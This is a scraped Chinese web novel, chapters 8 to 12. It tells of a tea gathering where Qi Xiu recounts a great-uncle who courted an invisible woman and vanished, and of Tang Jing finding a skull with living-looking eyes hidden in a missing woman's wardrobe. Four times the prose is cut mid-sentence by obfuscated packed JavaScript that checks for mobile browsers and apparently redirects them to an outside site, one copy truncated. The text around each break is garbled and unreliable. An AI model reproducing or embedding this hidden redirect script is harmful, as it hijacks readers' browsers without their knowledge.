后院是一个独立空间,院子里面摆着藤编桌椅,一个男人坐在主位上,面前摆着一套骨瓷茶具,正悠然自得的泡茶。 “哇,今天什么日子,齐大老板竟然亲自动手泡茶?” 郑落落的语气有些夸张,一边说,一边拉着唐镜和伊峰秋坐了下来。 对面男子抬头一笑,初夏的阳光突然黯了黯。 如果把伊峰秋比作暗夜中深不可测的大海,那么齐修就是旭日初升时的第一抹朝霞。 郑落落拍了拍胸口,继续用她夸张的语气说:“齐帅哥,齐大美人,你要再这样对我笑,我都想犯罪了。” “我会配合你的,而且保证不报警。”齐修一边慢条斯理的把茶壶里的水倒进茶杯,一边微笑道。 他的声音很好听,就像春风吹过最好的绸缎,华丽慵懒,带着难以形容的性感。 “我也保证不负责……”郑落落笑得千娇百媚,扭头对唐镜说:“这就是齐修,迷死人不偿命,这是唐镜,这是伊峰秋。” 齐修朝唐镜和伊峰秋点头示意。 郑落落继续用夸张的语气说:“小镜,记得离这个男人远一点,他可是女人杀手,而且是管杀不管埋的那种。” 唐镜笑了笑,没说话,齐修用两根手指拈起一杯茶,放在我和伊峰秋面前。 他的手指修长白皙,端着骨瓷茶杯,肤色竟然比茶杯还剔透,中指上套着一枚黑玉指环,玉色莹润,虽然是纯黑色的,可是却又给人一种透明的感觉。 唐镜的目光扫过黑玉指环,一缕阳光折射进指环,从她的角度,正好看到指环里面隐有花纹闪动。 随着齐修手指移动,花纹一闪而逝,指环表面依旧光滑莹润,可是唐镜的心却一下悬了起来。 虽然只是一瞥之间,可是她却发现,那花纹非常熟悉,和她脖子下面戴着的玉牌上的花纹很像,也是云纹谷纹和雷纹的组合。 是她眼花吗? 但是她看到伊峰秋的目光,也在那枚指环上停留了一瞬,眸色微凝。 很显然,不是她眼花,那枚黑玉指环里,确实刻着花纹。 8. 第 8 章 就在喝茶的功夫,庭院里又来了两个人,一男一女,他们应该不是第一次聚会,看的出来,彼此还算熟络。 郑落落给唐镜和伊峰秋又一一介绍了一番。 男的叫沈云书,身形颀长,眉目清俊,散发着淡淡书卷气,以前是省中医院针灸科的医师,离职后自己开了家中医理疗工作室。 女孩叫蓝甜,圆脸大眼睛,一笑两个小酒窝,爷爷是太极拳宗师,她从会走路就开始练太极,高中毕业后,来了江南市,现在某个培训机构教小孩子练太极拳。 郑落落介绍唐镜是武术教练,说到伊峰秋时,只含糊说了句是对禅修感兴趣的朋友。 大家年龄相仿,爱好相同,很快就聊起来,从传统文化,最后聊到静坐,唐镜坐在那里,有一搭没一搭的听着,伊峰秋倒是听得很专注。 他这样的身份,应该很少接触这方面的事情吧? “不练静坐和站桩的中医,那就不叫中医。”沈云书的声音和他的人一样,温雅如玉,“只有静坐才能提高身心的敏感度,才能感受到神和气存在。” 蓝甜:“有一种说法,神和气其实是一种能量波,有些人的强,有些人的弱,相当于人的灵魂。” 沈云书:“如果灵魂所蕴含的能量波足够强大,甚至可以直接侵入别人的脑部电波,使人出现所谓的幻觉和幻听。” 唐镜心里突然一动。 那天在武术教室里出现的叶菲,会不会是她的幻觉? 但是随即她就否定了这个想法,不管是监控录像,还是警察的调查,都说明叶菲当时确确实实出现在武术教室里,并不是她的幻觉。 “说起幻觉和幻听,我倒是想起了一件特别有趣的事情。”齐修放下手里的茶杯,含笑说道。 “能让你觉得有趣的事情,那一定是真的很有趣,快说。”郑落落兴致勃勃的说,她向来对世界上各种稀奇古怪的事情充满了兴趣。 “这事发生在我很早很早的一位祖辈身上,我姑且称他为小叔祖吧,那时候还是北洋政府时期,小叔祖从德国军校毕业回国,才二十五岁,在当时的军政界已经小有名气。” “乱世出英雄,那个年代,有些才二三十岁,就能领军作战,在战场上独挡一面。”沈云书说道。 “确实,那个年代,三十多岁就当将军的也不少见。”齐修赞同道,“当时齐家本是显赫世家,小叔祖二十五岁的时候,还没有订婚,他的父母就开始替他物色妻子人选。” “原来那个时代,也有逼婚的事情。”郑落落喃喃自语。 蓝甜脸上露出心有戚戚焉的表情。 齐修莞尔一笑:“小叔祖接受西方教育,在婚姻上面,自然不愿接受父母之命,媒妁之言,扬言除非遇到自己喜欢的女人,否则绝对不会结婚。” “你小叔祖很有个性啊。”郑落落笑起来。 “那个年代,反抗封建传统,是年轻人,特别是受教育程度高的年轻人一种时尚。”齐修顿了顿,继续说,“小叔祖的父母都非常传统,自然不能接受最出色的儿子这种大逆不道的想法。” “大逆不道?”郑落落吐吐舌头,表示这顶大帽子扣的真狠。 “不孝有三,无后为大。”齐修解释,“那个年代的人,有这种思想很正常。所以小叔祖父母决定,不管他怎么说,都要为他选一个妻子。” “你小叔祖好可怜,看来不管是以前,还是现在,父母都喜欢打着为你好的旗号,去满足自己的控制欲。”蓝甜说道。 “现在要好多了,至少你可以离开你父母所在的城市,去自己喜欢的地方,过上自己选择的生活,那个年代可没这么多选择。”沈云书笑道。 “是啊,所谓父母在,不远游,我小叔祖那个时候,肯定不能说走就走,”齐修微笑道,“小叔祖父母决定举办一个晚宴,邀请一些名媛闺秀来参加,如果小叔祖在晚宴上有看中的女孩固然好,如果他看不中,小叔祖父母就会选一个女孩下聘礼。” “怎么感觉像是选妃。”郑落落撇嘴。 “齐家本就是名门世家,我小叔祖人品外貌能力,也是一等一的人物,在当时,绝对是如假包换的钻石王老五,也不知道有多少大家闺秀,想嫁入齐家。” “看你就知道你小叔祖定是美男子一枚啦。”郑落落调侃道。 “小叔祖当时得知要举办这个宴会,肯定是满心不愿意,但也没办法违拗父母的决定,只能参加宴会。”齐修笑道,“那是一场盛大的宴会,不过小叔祖只在宴会上匆匆露了一面,就借口身体不舒服,独自回了他房间。” “你小叔祖的父母,不会这么轻易让他装病糊弄过去吧?”蓝甜打岔道。 “确实,他们很快就让管家去小叔祖房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234636|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,让他回来继续参加宴会,可是管家到了小叔祖房子那里,很快就匆匆赶回来,悄悄告诉小叔祖父母,说小叔祖疯了……” 说到“疯了”这两个字的时候,齐修的语气变得有些微妙,似乎带着点遗憾,又带着点兴奋。 唐镜忍不住瞥了他一眼,他正低头去拿茶杯,从她的角度看过去,正好看见他的眸子颜色,瞬间变深。 有点像暴风雨前的夜空。 唐镜心中一凛,浑身汗毛都立起来了。 他抬起头,眸子颜色又恢复了正常,唐镜垂下眸子,伸手拿起茶杯,喝了一口茶,强作镇定。 不得不说,多年练习武术,对调节情绪还是有帮助的,唐镜心中虽然震惊,不过她相信,至少自己表面上,看不出来有任何异样。 “疯了?什么意思?”郑落落心急问道。 “难不成你小叔祖故意装疯,借此躲避家里安排的相亲晚宴?”蓝甜猜测道,“不过装疯这种办法,会不会太夸张了点?” 齐修微笑着摇摇头:“我家祖上是世家大族,当时族中长辈又手握一方军权,那天的宴会十分重要,小叔祖真要是用装疯这种折辱门庭的手段,那只能说明他真疯了。” 蓝甜不好意思的笑了,也觉得自己的推测不靠谱。 “那到底是怎么回事?” “当年小叔祖有一只幼鹰,他亲自驯养它长大,这只鹰就住在他院子树上的鹰巢里。根据管家的描述,当时他一进院子,就看见那只大鹰站在树上,脖子上一圈毛乍起,眼珠子瞪的溜圆,像是受到了极大的惊吓。” “难道院子里面出现了什么怪物?”蓝甜小声说。 “小叔祖站在树下面,院子里再没有旁人。”齐修摇摇头。 “都说动物比人类敏感,是不是它感觉到了什么危险?就像地震之前,有些动物会四处乱窜?”唐镜忍不住问道。 “我听到长辈讲这个故事的时候,也这么猜测过,”齐修朝唐镜微微一笑,“管家说,小叔祖站在树下,脸上神情非常兴奋,对着空气柔声说,‘你可是迷路了?不要害怕,这是我住的地方,我送你去宴会厅。’小叔祖当时非常专注,竟然没有发现管家进来。” 院子变得安静下来,秋日的阳光依旧明亮,可是不知道为什么,唐镜觉得汗毛倒竖,浑身发寒,忍不住往伊峰秋身边靠了靠…… 9. 第 9 章 齐修顿了顿,继续说:“总之,管家站在院子里,明明只看见小叔祖一个人,可是偏偏小叔祖的神情、语气都好像他正对着一个女人说话,而且他的心神都在这个女人身上,管家惊恐之下,也不敢轻举妄动,赶紧回到宴会厅,把自己的所见所闻悄悄告诉了小叔祖的父亲。” 郑落落也在发抖,但好奇心压倒了恐惧:“难道是你小叔祖遇到鬼魂或者妖怪了?” “当时小叔祖的父亲听了管家的话,也觉得不妙,因为他了解自己的儿子,就算不喜欢相亲晚宴,也绝对不会用这种手段躲避,所以立刻准备跟管家过去看看,不料就在这个时候,小叔祖从宴会厅门外走进来。” 郑落落:“难道是你小叔祖故意跟管家开玩笑?” 齐修摇摇头,继续说道:“他一进宴会厅,立刻吸引了众人的注意力,因为他的姿势很奇怪,像是挽着一个人进来,他进门后,径直朝父母走过去,一边走还一边兴奋的说‘我找到了,我找到了,我真的找到了’。” “找到了?找到什么了?”蓝甜听得入了迷,连声追问。 “小叔祖一直走到父母面前,这才停下脚步,满面笑容,说‘她就是我要娶的人,父亲母亲,我第一眼看到她,就知道是她了。’小叔祖说完又扭头朝旁边说,‘别害羞,我父母一定会喜欢你的。’当时宴会厅里所有人都看的清楚,小叔祖分明是一个人站在那里,自说自话。” “果然是疯了……”郑落落听到这里,喃喃自语。 “会不会是你小叔祖压根就不想结婚,所以故意装成这样,给这场晚宴搅局?”蓝甜脑洞向来开的很大。 齐修:“我小叔祖不是那样的人,而且他若是不想娶妻,以他的性格和手段,那场相亲宴压根就不会举办。” “看你小叔祖的样子,倒是有点像被什么迷了神智。”沈云书若有所思。 “难道是被狐狸精魅惑了?”郑落落立刻接口道。 “小叔祖的父亲见情况不对,立刻暗示身后的护卫,把小叔祖带离宴会厅,小叔祖像是忘了宴会厅里的那些人,依旧挽着不存在的人,当时其余人都被惊得目瞪口呆,房间里静得掉根针都能听见,只有小叔祖在说话,语气就是一个坠入爱河的男人。” “这情形想想还真有点瘆人。”蓝甜说道。 “事后虽然小叔祖的父母尽力遮掩,可是齐家少爷疯了的说法,还是很快流传出去了。”修说到这里,停了下来,端起茶杯,慢慢喝着。 直到一杯茶喝完,他才继续说道:“接下来的几年,小叔祖几乎都待在他的院子里,每天对着空气谈笑风生,他的父母请了许多名医,可是每次连院子都没进去,就被小叔祖赶出去。” “也就是说,这个你小叔祖认定的女人,只有他一个人可以看见她,别人都认为这个女人是他臆想出来的,现实中并不存在。”沈云书若有所思。 唐镜:“小叔祖会不会是精神分裂症,产生了幻觉?我听说有些人,会臆想出一个人,然后和这个臆想出的人说话、玩耍。” 沈云书:“精神分裂症患者,大多数性格孤僻、多疑敏感,脾气多变,喜欢幻想和发呆,从齐修的讲述来看,小叔祖的性格开朗乐观,这种性格不大会患精神分裂症。” “如果没有发生后面的事情,当时大家也都认为小叔祖是疯了。”齐修一边说,一边从口袋里掏出一个皮夹,打开皮夹,从里面掏出一张塑封的照片。 虽然塑封的很好,可是照片已经有些泛黄,显然是一张很多年前的老照片。 齐修把照片放到茶桌中间,郑落落和蓝甜已经站起身,探头看过去。 “哇,大美女啊!”郑落落惊叹道。 唐镜也按捺不住好奇心,凑过去看那张照片,目光一落到照片上,就再也移不开了。 照片上是一张全家福,中间坐着一对中年夫妇,男的穿着长袍马褂,神情威严,女的旗袍盘发,雍容贵气。 站在中年夫妇身后的两个年轻男女,男的剑眉星目,英俊挺拔,穿一身军装,女的眉目如画,一双眼睛如养在清水里的宝石,就算是在照片上,就算隔着尘封岁月,光是看着这双眼睛,也觉神魂俱醉。 年轻男女依偎在一起,一看就是恩爱眷侣。 照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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唐镜微微撇嘴,心想你看着,也不过比我大个四五岁,这句话说的还以为我得叫你声大叔呢。 齐修:“我也看过卫斯理的这个故事,我当时还在想,也许当年卫斯理写这个故事,就是受到小叔祖故事的启发,那个时候,不少报纸报道过这件事情。” 唐镜:“难道你小叔祖遇到的也是外星人?” 10. 第 10 章 齐修啼笑皆非:“我倒觉得狐狸精或者鬼魂更靠谱点。” “很显然,小叔祖并没有精神分裂症,他确实是看到了这个女人,而且和这个女人有很多互动,只是别人都感知不到这个女人的存在。”郑落落有点抓狂,“现实中看不到,照片上能看到,又是个什么鬼?” 唐镜在网上看到过一些所谓的灵异照片,明明照相的时候,那个地方除了空气还是空气,可是洗出来的照片,却会有模糊的影子出现,被称为鬼照片。 不过那些照片里的鬼影,都面目模糊,只有个大体的轮廓,绝对不会像这张照片上的女人,完全就是真人。 “小叔祖的父母看到这张照片后,更是惊恐,认为这女子是狐狸精或者什么鬼魅,四处请高人来做法,小叔祖不胜其扰,最后以死相挟,小叔祖的父母无奈,索性不再管他。不过就在照相后的一年,小叔祖突然不再对着空气说话了。” “那个女人不见了?”郑落落问道。 “据小叔祖的日记里记载,她好像有什么事情暂时离开了,并且说她还会回来见他的。后来中华大地风云变幻,小叔祖隐居在老宅,不理世事,转眼十几年过去了,在他生日那天,他在房间里消失了……” “消失了?” 听到齐修最后同一句话,不知道为什么,唐镜突然想起了叶菲,忍不住追问道:“你小叔祖是怎么个消失法?” “自从小叔祖变成那样后,他父亲就安排了一队卫兵,在他住的院子外,一天二十四小时把守,平时连只野猫进出都逃不过卫兵的眼睛。小叔祖生日那天早晨,守在门口的卫兵忽然听到他的笑声。” “听到笑声有什么奇怪的?”郑落落好奇道。 “自从那个看不见的女人离开后,小叔祖连话都很少说,更别提笑了,十几年间,没有任何人见他露出过半点笑容。” “你小叔祖也算是个情种了。”郑落落啧啧赞道。 “所以那天早上,士兵听到他的笑声,还以为自己耳朵出问题了,那笑声极其欢愉,夹杂着断断续续的几句话‘我知道,你会回来的’……‘我当然相信你’……‘从无中生出有来?’……‘妙哉’……” 唐镜听到齐修重复当年他小叔祖说的话,心就像被谁一把捏住,几乎无法呼吸。 叶菲消失前,说过的话里也提到过“从无中生出有来”,齐修小叔祖的话里也有这几个字! 两个消失的人,中间隔了百年时间,说过同样的一句话,这之间,到底有没有什么联系,又意味着什么? 唐镜满脑子的疑云,却又不得其解,只听齐修继续说道:“小叔祖说完这几句话以后,就从房间里走出来,去见了他的父母,并且郑重在父母面前磕了三个头,随后一言不发回到房间。” “你小叔祖是在向他父母辞行!”郑落落反应极快,说道。 “当时小叔祖的父母虽然觉得他的行为有异,也猜到他可能要离开,但是小叔祖虽然在家里行动自由,可是却严禁离开家门一步,不管他去哪里,身边都有一队卫兵陪着,可以说是插翅难飞。” “会不会他收买了卫兵?”郑落落猜测道。 “不会,派去看守小叔祖的卫兵,都是他父亲身边的心腹,跟着父亲出生入死,断不会被小叔祖收买,而且即使小叔祖能收买一两个人,也不可能把所有人都收买了。”齐修断然摇头,否定了郑落落的猜测。 “有人亲眼看到你小叔祖消失时的情形吗?”唐镜问道。 “小叔祖从父母那里回到院子后,就闭门不出。直到午饭时分,仆人过来传话,房间里却无人理会。小叔祖父母听到消息赶去,却见房门从里面反锁,窗户也都闩着,就让卫兵把房门砸开,房间里已是空无一人。” “难不成你小叔祖会玩地遁?”郑落落喃喃说道。 “小叔祖独居的小院外,每隔三步都有一个卫兵站岗,而且还有一小队流动护卫,不管是走门还是翻墙,都不会逃过卫兵的眼睛,房间有发现地道之类的东西。” “一个大活人,就这样凭空消失了?”蓝甜语气充满好奇。 “不错,凭空消失,小叔祖的父母调查了很久,最终听信了一个高人的说法,认为小叔祖是羽化仙去。” “成仙了?看你小叔祖的情形,倒也有点像。”郑落落说道。 “这件事情,距离现在也快上百年了吧,你怎么会知道的这么清楚?”唐镜盯着齐修的眼睛问道。 他的眸子颜色和寻常人没有什么不同,只是眸子更大更深邃一些,看人的时候,给人一种非常深情专注的感觉。 如果说伊峰秋的目光像X射线,仿佛能看到人的骨头里,让人有一种没穿衣服的不自在,那么齐修的目光,有点像能将人溺毙的春水。 也许是因为唐镜前面发现过他眸色的瞬间异常,所以面对他那让人心跳加速的目光,她完全无感,只有暗暗的警惕。 “我小的时候,就听见我爷爷,也就是我小叔祖的二哥,讲过小叔祖的事情,后来我在老宅里翻到了一本手写的回忆录,是小叔祖的三哥写的。当年小叔祖和三哥关系最好,小叔祖疯了以后,三哥亲自调 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伊峰秋似乎是看出了唐镜的异样,轻轻拍了拍她的手,当时他和唐镜的手都放在桌下,所以并没有人发现他的动作。 唐镜心里突然轻松下来,想了想,拿起手机,不动声色的把她刚才的猜想用微信发给他。 整个下午大家都在讨论小叔祖的事情,等聚会结束的时候,日影已经西斜,唐镜和伊峰秋都加了齐修的微信,然后和郑落落一起离开“聚真阁”。 既然又到了饭点时候,郑落落自然毫不客气、毫不手软的敲诈了伊峰秋一顿晚饭。 三个人一起去吃了蟹肉煲,吃完后,唐镜本来想留下来和郑落落待一会,不料伊峰秋却拉着她,说和她还有事情,向郑落落告辞。 郑落落一脸“我就知道有奸情”的样子。 算了,某前辈名人曾说过,彪悍的人生不需要解释。 伊峰秋带着唐镜坐进出租车,这才说:“叶菲家里进了小偷,你现在和我去叶菲家,她离开家是为了去见你,你去看看看现场,也许能提供点线索。” 虽然唐镜觉得叶菲家进小偷的事情,和她八竿子打不到一起去,不过她现在的好奇心已经熊熊燃烧起来了,自然不会拒绝这个机会。 以前有人说,好奇心害死猫。 实践证明,好奇心不仅会害死猫,还会害死人,如果唐镜当时没有去叶菲家,那么她就不会摔那该死的一跤,也就不会撞破壁板,看见那么诡异的一幕,险些被吓死。 11. 第 11 章 唐镜路上听伊峰秋说,物业公司下午报警,说是看到叶菲门上的封条被扯破了,门锁也有被撬的痕迹。 敢去被封的地方偷窃,不是一般贼的行事风格,哪怕用脚指头也能想到,和叶菲失踪脱不了干系。 唐镜和伊峰秋到叶菲家的时候,天色已经暗下来。 房间里有一名年轻小伙子,虽然穿着便装,但从头到脚都散发着特警才有的那种气质,他看见伊峰秋走到门口,立刻站起来:“老大。” “阿帆,里面什么情况?” 阿帆一边拿出鞋套递给伊峰秋,一边说:“看上去像是普通的失窃案,房间里面翻的乱七八糟,暂时还不知道丢了什么,楼里几个关键地方的摄像头,都遭到了破坏,监控没有查到任何线索。” “普通窃贼做不到这么精准。”伊峰秋说道。 “局里已经查过了,叶菲是个孤儿,在孤儿院长大,她留在家里的贵重物品,都被封存起来,暂时存放在证物室。” 唐镜这才知道叶菲是孤儿。 伊峰秋一边熟练套上鞋套,一边示意阿帆给我一双鞋套。 阿帆用诧异的目光看了我一下,然后默默递给我鞋套。他长了张娃娃脸,留着板寸,看上去很精神。 伊峰秋既然没说什么,唐镜自然也不会多嘴去自我介绍,只默默接过鞋套,套在脚上,她经常看侦探剧,知道穿鞋套进现场,是为了不破坏现场痕迹。 伊峰秋套好鞋套,又从兜里掏出一副塑胶手套,戴在手上,这才进门。 唐镜小心翼翼的跟在他身后,尽量不碰到屋里的任何东西。 屋子里面很乱,抽屉和柜门都开着,里面的东西扔得满地都是。 “对方故意模仿普通小偷,到处乱翻,制造偷窃财物的错觉。”伊峰秋从客厅走到卧室,仔细观察被扔在地上的东西。 杂志、茶叶盒、袋装小零食等东西扔得到处都是。 叶菲的房子不大,但是装修的非常精致,特别是卧室里的那个走入式衣橱,垫高了十五公分左右,地板下面留出空间,做成柜子,用来储物。 走入式衣橱的移门半开着,唐镜跟在伊峰秋身后,走进卧室,经过衣橱前,往里瞥了一眼,发现衣橱正中间放着一支香薰蜡烛。 蜡烛有手腕粗细,没有放在盛碗里,直接放在地板上。 “咦?”唐镜看着蜡烛,觉得不对,停下脚步。 “怎么?”伊峰秋转身,顺着她的目光看去,扬了扬眉毛,“上次我们过来,那根蜡烛就放在那里。” “女人是不会把香薰蜡烛放在衣橱里的。” 唐镜看着伊峰秋带着询问的眼神,清了清嗓子继续说道:“第一,这种香薰蜡烛,是放在洗手间里用的。第二,女人的衣橱里,放着的都是千挑万选回来的衣服,衣橱里点蜡烛,很容易把衣服熏出异味,万一引起火灾,烧坏衣服,也很心疼啊。” 伊峰秋没有说话,阿帆倒是笑起来:“老大,这些女孩子的东西,还真是只有女孩子明白。” “最后,根据我对叶菲的了解,她那么一丝不苟、挑剔考究的性子,绝对不会把香薰蜡烛放到衣橱里的。” 伊峰秋的目光转向衣橱:“我们第一次来这里,是叶菲失踪当天,那个时候,这根蜡烛就放在那里。” 蜡烛有被用过的痕迹,而且应该点了挺长时间。 伊峰秋沉吟了一下:“阿帆,你去物业那里查下,这段时间小区有没有停过电,特别是叶菲失踪前的那几天。” 阿帆应声离去。 唐镜:“难道是因为停电,叶菲只能点起蜡烛找东西?” “就算停电,叶菲也可以用手机上的电筒功能,犯不着点蜡烛。”伊峰秋淡淡说道。 “咦,那为什么蜡烛会用过呢?”唐镜觉得伊峰秋说的很有道理,更加百思不得其解。 她一边说着,一边走进衣橱,衣橱比地板高了一个台阶,我抬脚的时候,忘记了脚上有鞋套,结果脚尖勾在台阶边上,整个人直接就往衣橱里扑过去。 幸好她因为职业缘故,反应还算敏捷,在摔倒的瞬间,本能的伸手去抓衣橱里的隔板,想要稳住身体。 不料,被她抓到的隔板竟然是活动的,咔擦咔嚓,半截隔板被拽了下来,她直接扑到前面挂着衣服的柜子里,头撞到了壁板上。 壁板滑了下来。 距离鼻尖一厘米的地方,是一只森白的骷髅头,可是明明是骨架的眼眶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234639|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,却有一双黑凌凌的眸子…… 唐镜和骷髅头里的黑眸对视了一秒钟,头脑一昏,那黑眸似一个正在扩大的黑色漩涡,灵魂仿佛要离开身体,被黑色漩涡吸到无底深渊里去。 万劫不复! 想要尖叫,可是声音卡在喉咙里,怎么也叫不出来。 想要逃离,可是身体仿佛变成了一块石头,无法动弹。 恐惧如洪水,瞬间没顶。 肩膀突然被人抓住,硬生生把唐镜拉转过来,视线也被扯离了那双黑眸,她心神骤然一松。 就像是溺水的人,突然抓住了一根稻草,唐镜拼命抱住把她拽起来的伊峰秋,身体抖得像筛糠,嘴唇也在发抖,一个字都说不出来。 “老大,物业说这三天都没有停电……” 声音骤然停下,随后,就听见阿帆用一种暧昧的语气说:“不好意思,不好意思,老大,我什么都没看见……” 伊峰秋咳嗽了一声,似乎想要说话,不过没等他开口,阿帆的脚步声就往外走去:“我想起来了,还有点事忘了问物业,老大,我等会再回来……” 阿帆这么一打岔,倒是让唐镜心里的恐惧感消散了许多,渐渐恢复了神智。 这时候,她才发现被她抱住的伊峰秋,僵硬的像块木头,一动不动,直挺挺的站在那里。 她的双臂,死死搂着他的腰,整个人都挤在他的胸前,隔着薄薄的衣衫,他的胸膛紧致有力,散发着热力,有一种男人独有的气息。 她能听到他低沉有力的心跳声。 而他的腰虽然劲瘦,可是抱住的时候,甚至感觉比胸膛更有弹性。 穿衣显瘦,脱衣有肉,她脑海里蓦然浮现出这八个字来。 但下一个瞬间,她脸腾的一下烧起来,手下意识的一松,往后退去,脚后跟刚碰到隔板,立刻就想到,身后就是那白森森的骷髅头,还有那双可怖的黑眸,顿时僵住。 衣橱空间本来就小,唐镜又不敢继续往后退,所以现在她和伊峰秋几乎还是身体挨着身体。而他身上透出的热力,让衣橱里的温度似乎都升高了几度。 被夹杂了淡淡烟草味的男人气息包裹着,唐镜的脸越来越烫,也越发的不自在。 12. 第 12 章 伊峰秋咳嗽了一声,声音有点点沙哑:“先去外面沙发上坐会吧。” 唐镜垂着眼睛,也不敢抬头看他,就往衣橱外走去,刚抬脚,才发现双腿软的跟面条似的,竟然连迈腿力气都没有。 伊峰秋伸臂过来,揽住她的腰,半搀半扶的带她走到客厅沙发前。 唐镜坐下来,长长呼出一口气,整个人的力气都像是被抽光了,瘫在沙发上,无法动弹。 她接过伊峰秋递来的一瓶水,喝了两口,这才惊魂稍定。 “你没事吧?”伊峰秋俯身看着唐镜,像是在察看她的脸色。 唐镜避开他视线,低声说:“我没事。” “你先待这里,可以吗?”伊峰秋拍拍她肩膀,“我想再进去看看。” “那双眸子,很怪,最好不要盯着看。”唐镜忍不住说道,说话的时候,她下意识的抬起头,却看见伊峰秋的脸颊有点红。 外面天色已经昏暗下来,客厅上面的吸顶灯,是那种比较温暖的黄色,所以唐镜并不确定,到底是他的脸真的红了,还是光线的缘故。 不过没等她看清楚点,伊峰秋已经转身往卧室走去,不知道为什么,看到他的背影,唐镜感觉有点落荒而逃的意味。 啊啊啊,不过被女生抱了抱,就会窘迫成这样? 难道这是伊峰秋的处女抱? 啊啊啊,他不会让她负责吧? 不过,伊峰秋的身材还真是好啊,老实说,唐镜还是第一次在现实中,发现传说中的“穿衣显瘦,脱衣有肉”的身材。 他应该是经常健身的,即使隔着衣服,都能感觉到他肌肉里蕴藏着的爆发力。 当唐镜开始胡思乱想后,恐惧不知不觉烟消云散。 房门被推开,阿帆出现在门口,看见唐镜坐在我沙发上,眨了眨眼睛,故作无辜状解释道:“老大打电话让我过来的。” 这种莫名其妙的强行解释,最讨厌啦。 “他在衣橱里。”唐镜朝卧室方向指了指,尽量让语气显得平淡。 阿帆往里走去,在经过唐镜面前的时候,突然小声说:“嫂子好。” 唐镜顿时傻了,果然是跳进黄河也洗不清的节奏啊啊啊! 很快,伊峰秋从卧室里出来,脸上神情看不出什么异样:“我安排人先送你回去。” “那双眼睛……” 唐镜想起那双黑眸,顿时心有余悸。 “是假的,应该是用玉石之类的东西,雕刻出来,镶在骷髅头的眼眶里,具体成分,还要送到实验室做进一步检测。” “假的?” 可为什么她觉得那双眼睛会有生命? 脑海里什么东西一闪而过,可是却怎么也抓不住,唐镜鼓起勇气,对伊峰秋说:“我想再去衣橱里看看。” 伊峰秋没有说话,只是看了她一眼,目光依旧带着穿透力,像是要看到她的内心深处。他应该在评估她的精神状态,好决定是不是同意她的要求。 唐镜能理解他的做法,毕竟刚才在衣橱里,她被吓坏了,现在再去面对那么骇人的情景,万一精神崩溃了,也会给他带来很大麻烦吧。 “放心好了,刚才我吓成那样,是因为突然看见个骷髅头,没有心理准备,换成任何一个人,估计都要吓的够呛,现在我已经有免疫力了,肯定不会再被吓到。” 唐镜勉强让自己笑出云淡风轻的感觉,但估计并不太成功。 “你是不是想起了什么?” 伊峰秋表情变得有些严肃,但是语气却比平时要温和一点点。 不愧是专业人士,反应真快。 唐镜没说话,只是点点头。 伊峰秋也不再多问,带着她重新走回卧室,走进衣橱。 阿帆正在里面仔细打量骷髅头,看见伊峰秋和唐镜走进来,立刻主动退到衣橱外面,这种走入式衣橱虽然宽敞,可是站三个人确实有点拥挤。 不过为什么唐镜觉得阿帆出去时,那种一本正经的表情,特别古怪呢? 一定不是她想多了。 衣橱里面所有东西都放在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234640|181819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原位,没有做任何移动,很显然,伊峰秋和阿帆虽然在检查衣橱,却没有碰里面的任何东西。 被唐镜撞破的衣橱背板后,是涂着白色乳胶漆的墙体,背板和墙壁之间,大概有半尺宽的距离,形成一个小小的空间,里面放着一个原木小柜,布置的很像个小小的神龛。 那颗骷髅头就放在神龛里,惨白的骨头眼眶里,镶嵌着和真人一样的眼珠,眼白、黑色瞳孔在衣橱灯光下闪着诡异的光泽。 唐镜深深吸了一口气,压住心里的恐惧,往前走了两步,伊峰秋也跟着上前了两步,几乎是挨着她的肩膀站着。 感觉到从他身上透来的热力,以及那若有若无的烟草气息,唐镜绷着的心突然就放松了一些,定下心神,开始仔细观察骷髅头。 骷髅头眼眶里,黑色的眸子也不知道是什么材质做出来的,盯着它看的时候,能感觉到眸子似乎也在随着她的目光转动,比活人的眼睛都有神。 大多数黄种人的眸子,都是深褐色,而这双眸子,颜色太黑太暗沉,像暴风雨来临时的夜空。 如果盯着它看太久,真有一种要被扯进深渊的感觉。 冷汗不断从背上冒出,贴身衣服已经被汗水浸湿,唐镜想自己的脸色一定很难看,可是脑海里那个一闪而逝的念头,似乎正要慢慢浮出来,她尽量控制自己不移开目光。 一只手伸过来,握住了她的手。 这只手干燥、温暖,指肚和掌心上有薄薄的茧,和她汗湿冰冷的手形成鲜明对比,指肚上的薄茧有些粗粝,但是却让人安心。 